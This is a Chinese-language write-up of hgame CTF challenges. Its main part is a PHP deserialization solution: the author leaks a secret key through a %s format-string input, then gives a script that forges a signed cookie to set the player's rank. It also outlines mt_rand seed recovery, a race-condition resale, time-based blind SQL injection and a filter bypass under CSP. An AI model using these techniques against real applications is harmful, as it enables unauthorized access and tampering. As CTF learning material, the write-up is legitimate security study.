这周qwq基本等于没有在写题…

web

序列之争

啊…原来是要得到

1
private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';

这里的encryptKey QAQ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Game
{
private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

private $sign = '';
public $rank;

public function __construct($playerName){
$_SESSION['player'] = $playerName;
if(!isset($_SESSION['exp'])){
$_SESSION['exp'] = 0;
}
$data = [$playerName, $this->encryptKey];
$this->init($data);
$this->monster = new Monster($this->sign);
$this->rank = new Rank();
}

private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
}

看了hint,传入player=%s以此来得到$encryptKey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
class Rank
{
private $rank;
private $serverKey; // 服务器的 Key
private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';

public function __construct(){
if(!isset($_SESSION['rank'])){
$this->Set(rand(2, 1000));
return;
}

$this->Set($_SESSION['rank']);
}

public function Set($no){
$this->rank = $no;
}

public function Get(){
return $this->rank;
}

public function Fight($monster){
if($monster['no'] >= $this->rank){
$this->rank -= rand(5, 15);
if($this->rank <= 2){
$this->rank = 2;
}

$_SESSION['exp'] += rand(20, 200);
return array(
'result' => true,
'msg' => '<span style="color:green;">Congratulations! You win! </span>'
);
}else{
return array(
'result' => false,
'msg' => '<span style="color:red;">You die!</span>'
);
}
}

public function __destruct(){
// 确保程序是跑在服务器上的!
$this->serverKey = $_SERVER['key'];
if($this->key === $this->serverKey){
$_SESSION['rank'] = $this->rank;
}else{
// 非正常访问
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}
}

class Monster
{
private $monsterData;
private $encryptKey;

public function __construct($key){
$this->encryptKey = $key;
if(!isset($_COOKIE['monster'])){
$this->Set();
return;
}

$monsterData = base64_decode($_COOKIE['monster']);
if(strlen($monsterData) > 32){//32是指md5的位数
$sign = substr($monsterData, -32);
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);
}else{
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}

$this->Set();
}

public function Set(){
$monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
$this->monsterData = array(
'name' => $monsterName[array_rand($monsterName, 1)],
'no' => rand(1, 2000),
);
$this->Save();
}

public function Get(){
return $this->monsterData;
}

private function Save(){
$sign = md5(serialize($this->monsterData) . $this->encryptKey);
setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
}
}

1
2
3
4
5
6
7
<main role="main" class="inner cover">
<h2 class="cover-heading"><?php echo($game->welcomeMsg);?></h2>
<h1># <?php echo($game->rank->Get());?></h1>
<?php if($game->rank->Get() === 1){?>
<h2>hgame{flag_is_here}</h2>
<?php }?>
<br>

在Monster类里有反序列化函数unserialize(),而里面传入的内容是我们可以控制的cookie,所以可以通过这个函数来使得this->rank()==1。关于进入unserialize()之前所要达到的条件,其实执行一遍Monster类里Save()函数的内容就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
session_start();

class Game
{
private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';

private $sign = '';
public $rank;

public function __construct(){
$data = [1, $this->encryptKey];
$this->init($data);
}

private function init($data){
foreach($data as $key => $value){
$this->sign .= md5($this->sign . $value);

}
print($this->sign);
}
}

class Rank
{

private $rank;
public function __construct(){
$this->rank = $no;
if(!isset($_SESSION['rank'])){
$_SESSION['rank'] = 1;
}

$this->Set($_SESSION['rank']);
}

public function Set($no){

}

}
new Game();
$res1=serialize(new Rank());
//print($res1);
$key='c4ca4238a0b923820dcc509a6f75849b4eb38c8d89d42dd45200003c8b7101c6';
$sign = md5($res1 . $key);
setcookie('monster', base64_encode($res1 . $sign));
echo "<br>";
print($_COOKIE['monster']);
?>

之后burpsuite拦截改cookie的值就可以了

misc

三重隐写

根据You konw LSB.wav先用silentEye把wav解码,出现key,用来解看起来很古风的mp3,得到flag.crypto,另一个mp3的图像是个条形码,在线解码一下。根据提供的工具,把条形码解码出的内容作为.crypto的key就可以得到flag

赛后

web

二发入魂

官方wp给的资料(能读英文文章真是一项很重要的技能…)
BREAKING PHP’S MT_RAND() WITH 2 VALUES AND NO BRUTEFORCE
中文翻译版
reverse_mt_rand.py
脚本流程是,先访问https://twoshot.hgame.n3ko.co/random.php?times=228
也就是抽卡228次
之后利用上面的脚本,有如下

1
py -3 ./reverse_mt_rand.py randnum[0] randnum[227] 0 0

所产生的值就是seed,也就是cdkey
利用os.popen()方法向https://twoshot.hgame.n3ko.co/verify.php
post以上payload就可以得到返回结果

Cosmos的二手市场


进行交易时容易形成条件竞争
那么我们先购入一件商品,在出售的时候形成条件竞争,在库存还未来得及变化的情况下将统一商品反复出售,之后写个脚本(不知道为啥用burpsuite钱还是没变化- -)
python:threading.Thread类的使用详解
脚本的构成是,对于buy和solve这两个行为定义两个函数,传入cookie值以及data(data中包含了commodity信息-code&amount),后面利用threading.Thread类进行多线程(- -)

之后不打算写了- -很多题也有很详细的wp了,本质上我也是看wp复现的(是的就是这么菜)

Cosmos的留言板-2

sql盲注之时间盲注

Cosmos的聊天室2.0

script被过滤为空,双写绕过。输入后控制台发现异常

1
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution.

key word:CSP
CTF|有关CSP绕过的方法